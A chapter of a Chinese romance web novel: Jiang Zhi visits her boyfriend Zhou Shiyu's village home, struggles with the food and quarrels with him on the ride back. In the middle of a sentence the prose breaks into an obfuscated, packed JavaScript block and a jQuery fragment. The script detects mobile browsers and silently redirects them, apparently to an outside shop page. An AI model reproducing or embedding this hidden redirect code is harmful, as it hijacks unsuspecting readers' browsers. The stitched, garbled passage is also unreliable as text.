伴随着断断续续的咳嗽和低烧，周时屿真正好起来差不多是半个月后。


    也就是在那之后，姜知才对他的体质有了初步的概念。


    她不懂医学，但几乎每项指标都偏低是事实。从诊室走出来时，走廊上安静无声，值班的医生和护士穿着白大褂路过。姜知转过头，借机责备了他几句。


    她是真的不懂——毕竟周时屿付出的也不是廉价劳动力，每次都能得到可观的工资，却还是不要命一样扑在上面。


    斑马线对面的绿灯亮起，行人穿过清晨的街道，天空上方漫起晨雾。


    姜知说：“很累的话，就休息一会？”


    周时屿攥着她的手，这次没有乖乖听她的话，而是摇头说：“我没办法。”


    姜知始终记得那天，漫天雾气模糊了前路，有更多的东西从他眼里跑出，可她来不及看清，风一吹就散了。


    天边的乌云暗沉下来，又快要落雨了。


    而关于这部分谜团，在她第一次去周时屿的家后有了答案。


    -


    姜知本以为自己不怎么晕车，可山路十八弯，胃里还是不住地翻腾。


    那个村子叫宜村，她从来没听过，周时屿解释说，之前一直属于无名状态，是前几年才被命名的。


    村舍的炊烟缕缕上升，随风飘荡，氤着天空的一角，下面是广袤的农田。


    他们坐着大巴路过一座小镇，道路两边立着连成一排的小商铺，类似老式筒子楼。屋檐上斑驳的房漆不断往下掉，墙上贴着一遛显眼的“转租中”。路灯时隐时现，姜知盯着玻璃窗上的污渍，一个急转弯，她撞在周时屿身上。


    车又往前开了一段路，下车后大概步行几百米，最后停在独幢的房屋前。


    门后走出一位瘦小的女性，带着淳朴的笑容。姜知又看了看身形高大的周时屿，生命的延续是如此神奇的事。她系了件旧围裙，袖口挽起，露出麦色的手臂。


    “阿姨好。”


    “哎，你好，是姜知吧。”周母舔了舔嘴唇，眼神无意识地飘向身后的周时屿。


    房檐上的积雨汇成低洼的水潭，几只家禽从院落深处跑出。水滴的“嘀嗒”声清晰可闻，这里有着世外桃源般的静谧，但世外桃源也不一定只代表美好。从下车开始，她就感到莫名的恐慌，像被巨大的陌生的孤独所笼罩。


    矮矮的木桌摆在房前，唯一的支撑便是中间的木杆。


    姜知步伐僵硬。她直直地盯着面前的碗筷，瓷碗泛着黄，木筷很潮湿，甚至还有霉点——或者是洗太多遍残留下的木屑。


    她本就因为晕车胃口不怎么样，现在更是食欲全无。


    能看得出周母的热情，因为厨房的炉灶开了一次又一次火，桌上摆了一桌子菜肉。


    姜知走出几步路，看到大片带有土腥味的蒜叶，险些吐出来。身体不适是一方面，礼不礼貌又是另一方面——特意造访又不愿吃饭，自然显得有些娇气。她路过飘摇的房檐，阴冷的气流钻进裤管。逼仄空间内的感官和心情密切绑定。盘子缺了几个角，邹美华端上来时，还围了一圈黄色的斑渍。


    可能天气冷了，烧肉上的油块凝结成固体，浮在汤体的表面。


    邹美华特别主动地给姜知夹菜，在两双眼睛的期许下，她鼓起腮帮子嚼了两下。越咀嚼那股原始的腥气就越明显，她逼迫自己咽下去。


    可反其道而行之往往是行不通的。


    “呕——”姜知实在是没办法忍受，吐到身旁的餐巾纸上。


    邹美华这时的表情已经很不好看。


    姜知也有些尴尬，一双手拍着她的背，向她投来担忧的目光：“吃不惯吗？”


    她也不好意思承认就是吃不惯：“只是我平时不怎么吃肉。”


    可别的菜也都是如此。她大概是真的吃不惯这里的油，可还是硬着头皮吃完了，姜知自己都佩服自己。


    饭后邹美华坚持上山干活，周时屿跟去帮忙，姜知便一个人待着。房内设施简单，信号也断断续续，他们已经留给她最好的一间，但姜知对着红白的橱柜陷入沉默。


    夕阳落入远山深处。没有阳光能照到面前的土地，孤独感被进一步放大。


    原来，安静可以是如此可怕的事情。


    身体原因，邹美华还是提前回来休息了，走过房门，对着姜知微微鞠躬。


    屋内待得压抑，姜知搬了个凳子坐在门外，视野里剩下连成一片的山。


    “走吗？”周时屿突然出现在身后，拉起她的手。


    掌内传来热意，姜知点头，和他一起爬上小山坡。


    -


    好在山上的景色确实不错，空气洁净，繁星点点，他们依偎着看了会星空。


    树影和月光交错，周时屿指着对面的红色房顶说：


    “那两栋楼本来是要拆迁的，后来资金断裂，所以就有了村里唯一的一栋商铺。”


    姜知没有打断，因为她很神奇地发现，在这个彻底卸下防备的空间里，周时屿的话变多了。


    仿佛在一些她不知道的时光里，他也是能够侃侃而谈的。姜知的心变得很柔软，似乎今天一天的遭遇也没那么难以忍受。


    “再和我说一些你小时候的事吧。”姜知捏捏他的手。


    周时屿想了想，有点不好意思地说：“夏天的时候，我家门口有萤火虫，有小孩子就从对面村跑来看。我以为那是我的萤火虫，还和他们吵过架。”


    她调笑：“难怪你对城市里各种的星空萤火虫不感兴趣，原来是在这里看够了？”


    见姜知笑了，周时屿心里也升起浅浅的希冀，“你要是有空的话，到时候可以来看，很漂亮。”


    姜知没有回答，只是看着他的眼睛，快和夜色融成一体的瞳孔，漆黑、洁净。


    她突然觉得无比委屈，趴进他怀里：“周时屿。我真的不喜欢吃青菜，今天你妈妈给我夹了好多，我都不敢不吃。”


    还用很可怕的眼神看我，但我只是不愿意吃青菜而已。


    他轻拍着她的后背：“可能是看你把肉吐了，想给你多吃点菜吧。”


    “可我都说了不喜欢啊，怎么还给我夹！”姜知无法理解。


    周时屿垂下眸，不知是想到了什么，“她就是这种性格。”


    再说下去就难免涉及到喜恶，姜知不想这样，只能看着无边的夜空陷入沉思。


    ——人和自然的连接密切，人和社会的连接却被切断。置身其外只会唏嘘，但是倘若置身其内……


    她一阵战栗。


    -


    碧空如洗，天空露出了最原始的碧色。还是原路返回，继续经历山路十八弯。


    姜知双手托腮，看着窗外一点点倒退的景物。


    周时屿想，这次时间不够，下次可以带她去小溪边或者隔壁村舍，秋天的麦田像金色的海，姜知一定会喜欢的。


    但姜知稍静默一会后，问他的竟然是：“我以后可以不常来吧？”


    想说的话一起被挤压在心口，他顿时感挫败——可能也有失望吧？是听见这句话的失望，还是对自己的失望，总之，未尽的话像一块石头，压在心口。


    顿了顿，姜知坦言：“因为我吃不惯你家的菜，而且……总觉得筷子用了很多年，我有点洁癖来着。”


    周时屿点头。他自认为能理解，她家庭富裕，吃不惯住不惯农村完全是有道理的。就算和贫富无关，人也有不喜欢任何一个地方的权利。


    但那是他从小长大的地方，他的家。


    逼迫对方爱屋及乌太没道理了。但他确实因此有些难过。那些厨具特意用热水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992544|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    烫过，洗得很干净，客房也打扫了好几遍。母亲一直听他念叨姜知有多好，都还没认真了解过，她却不想再来。


    “随便你。”


    “哦，那太好了，”姜知还在继续说着，“那筷子都用那么多年了，为什么不换呢？哎要不下次我帮你选一些家具什么的，然后运过来吧，但我就不来了，精神上与你同在哈。”


    “姜知。”周时屿说。


    姜知抬头，有些疑惑地看着他。


    这份情绪应该被知晓，她那么善解人意肯定会理解的。可闷葫芦本人不可能开口。他本能地想要停下现状，说出口却是：“你好吵。”


    ……


    于是两个人都不高兴了。


    车内陷入近似冷战又没那么夸张的诡异气氛。冷战体现在周时屿本就没什么话，但经此一闹，姜知也没了叽叽喳喳的兴致。


    她其实是可以和他吵架的。你什么态度，都21世纪了还那么守旧，拿几根筷子当传家宝？但直觉使然，真吵了周时屿一定会说出更让她生气的话。


    比如：“你果然很吵。”


    呵呵，那就沉默着吧。


    反正找话题也挺累的，哄人更累，安静才是最简单的事。


    周时屿倚靠着窗边，姜知以为又是和以前一样在装深沉看风景，却在车子转弯时看清，泪光一闪而过。


    哭了？


    姜知仔细回忆了一番，被这突如其来的眼泪扰乱了心绪。好像她是什么十恶不赦的罪人一样，有这么难过吗？


    “喂，”她拍拍他的肩，故作冷漠地开口，“不要弄得像是我欺负你了一样。”


    还是沉默。姜知简直忍无可忍，把那人翻过来，强行对视。


    她明明没使多大力气，周时屿却直直倒下来，摔在她的肩上。姜知难以置信地看着刚刚还对着窗外伤春悲秋的人，这放在碰瓷界都是很炸裂的吧。


    不过，姜知也看清了抵在腹部的手，“胃疼？”


    什么嘛，胃疼哭了？


    “嗯。”倒是很快承认了，那滴泪顺着脸颊滑落，声音闷在衣料中。


    姜知认命般地移开他的手，她手是凉的，接触皮肤时冷热差更明显，但他没躲，靠着她一动不动。


    过了一会，周时屿开口：“母亲她，近几年的身体不好。”


    姜知想你也不看看自己这要死不活的样子，习惯性怼回去，“你身体就很好了？”


    他叹了口气，“不是那个意思。”


    她望见他的眼神，除了眼泪外，也有悲伤，浓重的化不开的悲伤。


    一时间，姜知好像懂了。


    “抱歉，我……哎，你也别太难过了，与其在这哭，不如有空多陪陪阿姨吧。”


    周时屿摇摇头，又说：“她很喜欢你。”


    突然被cue到，姜知有些受宠若惊：“谢谢？”


    “但你不喜欢我。”


    “怎么可能，你……你是有病吧周时屿！”又开始口不择言，那她忙前忙后吞下一肚子不爱吃的饭菜是为了谁？姜知不想理他了。


    周时屿的眼圈更红了一点，也许是疼得厉害了，“那你为什么，不愿意和我回家呢。”


    弄了半天，是在气这个？她顿时无话可说。


    “哎哟我的祖宗，没不愿意啊，当时那不是在征求你意见吗？我只是不太习惯，呃宜村的风土人情，但我很喜欢阿姨啊，至于她儿子，”姜知的脑袋立着，朝向窗外，“我倒是也想喜欢，但人家嫌我吵。”


    周时屿立刻抱住姜知：“我错了，对不起。”


    大概还是眼泪太好用，姜知没和他计较了。


    然后，在那次事件后，他们发现，眼泪给人冲击的阈值是会降低的，眼泪在对方眼里，只能变成越来越不值钱的东西。


    -